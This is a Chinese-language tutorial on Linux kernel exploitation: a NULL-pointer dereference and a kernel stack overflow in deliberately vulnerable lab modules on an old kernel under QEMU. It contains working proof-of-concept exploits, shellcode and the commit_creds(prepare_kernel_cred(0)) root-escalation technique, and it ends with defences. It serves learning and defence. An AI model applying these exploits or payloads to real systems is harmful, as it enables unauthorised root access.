linux内核漏洞利用初探(2):two_demo
字数 1529 2025-08-03 16:49:30
Linux内核漏洞利用初探:NULL指针解引用与内核栈溢出
1. NULL指针解引用漏洞利用
1.1 漏洞原理
NULL指针解引用漏洞发生在内核模块中,当未初始化的函数指针被调用时,会导致内核尝试执行0地址处的代码。在早期Linux内核中,0地址是可映射的,这为漏洞利用提供了可能。
1.2 漏洞代码分析
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
void (*my_funptr)(void);
int bug1_write(struct file *file, const char *buf, unsigned long len)
{
my_funptr();
return len;
}
static int __init null_dereference_init(void)
{
printk(KERN_ALERT "null_dereference driver init!\n");
create_proc_entry("bug1", 0666, 0)->write_proc = bug1_write;
return 0;
}
static void __exit null_dereference_exit(void)
{
printk(KERN_ALERT "null_dereference driver exit\n");
}
module_init(null_dereference_init);
module_exit(null_dereference_exit);
关键点:
my_funptr函数指针未初始化,默认为NULL- 通过
/proc/bug1的write操作触发漏洞
1.3 利用思路
- 使用
mmap映射0地址空间 - 在0地址处放置提权shellcode
- 触发漏洞执行shellcode
- 获取root权限
1.4 利用步骤
1.4.1 准备shellcode
提权shellcode需要调用两个关键函数:
prepare_kernel_cred(0)commit_creds()
获取函数地址:
cat /proc/kallsyms | grep commit_creds
cat /proc/kallsyms | grep prepare_kernel_cred
汇编shellcode示例:
xor %rax,%rax
call 0xffffffff81083610 ; prepare_kernel_cred
call 0xffffffff81083420 ; commit_creds
ret
编译获取机器码:
gcc -o payload payload.s -nostdlib -Ttext=0
objdump -d payload
1.4.2 PoC代码
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
char payload[] = "\x48\x31\xc0\xe8\x08\x36\x08\x81\xe8\x13\x34\x08\x81\xc3";
int main(){
mmap(0, 4096, PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
memcpy(0, payload, sizeof(payload));
int fd = open("/proc/bug1", O_WRONLY);
write(fd, "muhe", 4);
system("/bin/sh"); //get root shell
return 0;
}
1.4.3 环境配置
- 关闭mmap_min_addr保护:
sysctl -w vm.mmap_min_addr="0"
- 编译为静态可执行文件:
gcc -static poc.c -o poc
- 打包到文件系统:
cp poc ../../busybox-1.19.4/_install/usr
find . | cpio -o --format=newc > ../../rootfs_null_dereference.img
1.4.4 调试方法
启动QEMU:
qemu-system-x86_64 \
-m 256M \
-kernel linux-2.6.32.1/arch/x86/boot/bzImage \
-initrd ./rootfs_null_dereference.img \
-append "root=/dev/ram rdinit=/sbin/init" \
-s
GDB调试:
gdb vmlinux
target remote :1234
b *0x0
c
2. 内核栈溢出漏洞利用
2.1 漏洞原理
内核栈溢出发生在内核模块中,当对栈上的缓冲区进行不安全的拷贝操作时,可能覆盖返回地址,从而控制执行流。
2.2 漏洞代码分析
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/proc_fs.h>
int bug2_write(struct file *file, const char *buf, unsigned long len)
{
char localbuf[8];
memcpy(localbuf, buf, len);
return len;
}
static int __init stack_smashing_init(void)
{
printk(KERN_ALERT "stack_smashing driver init!\n");
create_proc_entry("bug2", 0666, 0)->write_proc = bug2_write;
return 0;
}
static void __exit stack_smashing_exit(void)
{
printk(KERN_ALERT "stack_smashing driver exit!\n");
}
module_init(stack_smashing_init);
module_exit(stack_smashing_exit);
关键点:
localbuf只有8字节,但memcpy使用用户控制的len参数- 可以覆盖返回地址控制执行流
2.3 利用思路
- 构造ROP链或直接跳转到payload
- 执行提权操作:
commit_creds(prepare_kernel_cred(0)) - 返回用户态执行shell
- 需要处理:
- 关闭栈保护(CONFIG_CC_STACKPROTECTOR)
- 保存用户态寄存器状态
- 正确返回用户态
2.4 利用步骤
2.4.1 环境准备
-
关闭内核栈保护:
编辑.config文件,注释掉CONFIG_CC_STACKPROTECTOR,重新编译内核 -
获取驱动.text段地址:
cat /sys/module/stack_smashing/sections/.text
2.4.2 保存用户态状态
struct trap_frame {
size_t user_rip;
size_t user_cs;
size_t user_rflags;
size_t user_sp;
size_t user_ss;
} __attribute__((packed));
struct trap_frame tf;
size_t addr = &tf;
void save_status() {
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
tf.user_rip = &get_shell;
tf.user_cs = user_cs;
tf.user_rflags = user_rflags;
tf.user_sp = user_sp - 0x1000;
tf.user_ss = user_ss;
}
2.4.3 提权payload
void payload(void){
char *(*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));
asm(
"swapgs;" // 交换GS寄存器
"mov rsp, addr;"
"iretq;" // 返回到用户态
);
}
2.4.4 完整exploit
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdint.h>
size_t user_rip;
size_t user_cs;
size_t user_rflags;
size_t user_sp;
size_t user_ss;
struct trap_frame {
size_t user_rip;
size_t user_cs;
size_t user_rflags;
size_t user_sp;
size_t user_ss;
} __attribute__((packed));
struct trap_frame tf;
size_t addr = &tf;
void get_shell(void){
system("/bin/sh");
}
void save_status() {
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
tf.user_rip = &get_shell;
tf.user_cs = user_cs;
tf.user_rflags = user_rflags;
tf.user_sp = user_sp - 0x1000;
tf.user_ss = user_ss;
puts("[*]status has been saved.");
}
#define KERNCALL __attribute__((regparm(3)));
size_t prepare_kernel_cred = 0xffffffff81083330;
size_t commit_creds = 0xffffffff81083140;
void payload(void){
char *(*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));
asm(
"swapgs;"
"mov rsp, addr;"
"iretq;"
);
}
int main(void){
char buf[48];
memset(buf, 0x41, 48);
*((void**)(buf + 32)) = &payload; // 覆盖返回地址
save_status();
int fd = open("/proc/bug2", O_WRONLY);
write(fd, buf, sizeof(buf));
return 0;
}
2.4.5 调试方法
启动QEMU:
qemu-system-x86_64 \
-m 256M \
-kernel linux-2.6.32.1/arch/x86/boot/bzImage \
-initrd ./rootfs_stack_smashing.img \
-append "root=/dev/ram rdinit=/sbin/init" \
-s
GDB调试脚本:
gdb \
-ex "add-auto-load-safe-path $(pwd)" \
-ex "file ../../linux-2.6.32.1/vmlinux" \
-ex 'target remote localhost:1234' \
-ex 'add-symbol-file ./stack_smashing.ko 0xffffffffa0000000' \
-ex 'b bug2_write' \
-ex 'c'
关键断点:
b *0xffffffffa0000022 # ret指令处
3. 关键知识点总结
-
NULL指针解引用利用条件:
- 0地址可映射(需设置
vm.mmap_min_addr=0) - 能够控制0地址处的内容
- 0地址可映射(需设置
-
内核栈溢出利用关键:
- 关闭栈保护(CONFIG_CC_STACKPROTECTOR)
- 正确保存和恢复用户态寄存器状态
- 使用
swapgs和iretq正确返回用户态
-
提权通用方法:
commit_creds(prepare_kernel_cred(0)); -
32位与64位差异:
- 32位使用
iret,64位使用iretq - 64位需要
swapgs指令切换GS寄存器 - 寄存器名称和大小不同
- 32位使用
-
调试技巧:
- 使用QEMU的
-s选项启用GDB调试 - 通过
/proc/kallsyms获取内核符号地址 - 通过
/sys/module/<module>/sections/.text获取模块.text段地址
- 使用QEMU的
4. 防御措施
-
NULL指针解引用防护:
mmap_min_addr保护(默认4096)- SMAP/SMEP保护
-
栈溢出防护:
- 栈保护(CONFIG_CC_STACKPROTECTOR)
- KASLR
- 栈不可执行
-
通用防护:
- 及时更新内核
- 最小权限原则
- 模块签名验证
通过本教程,我们学习了两种基本的内核漏洞利用技术:NULL指针解引用和内核栈溢出。这些技术虽然针对的是较老版本的内核,但其中的原理和方法对于理解现代内核漏洞利用仍然具有重要意义。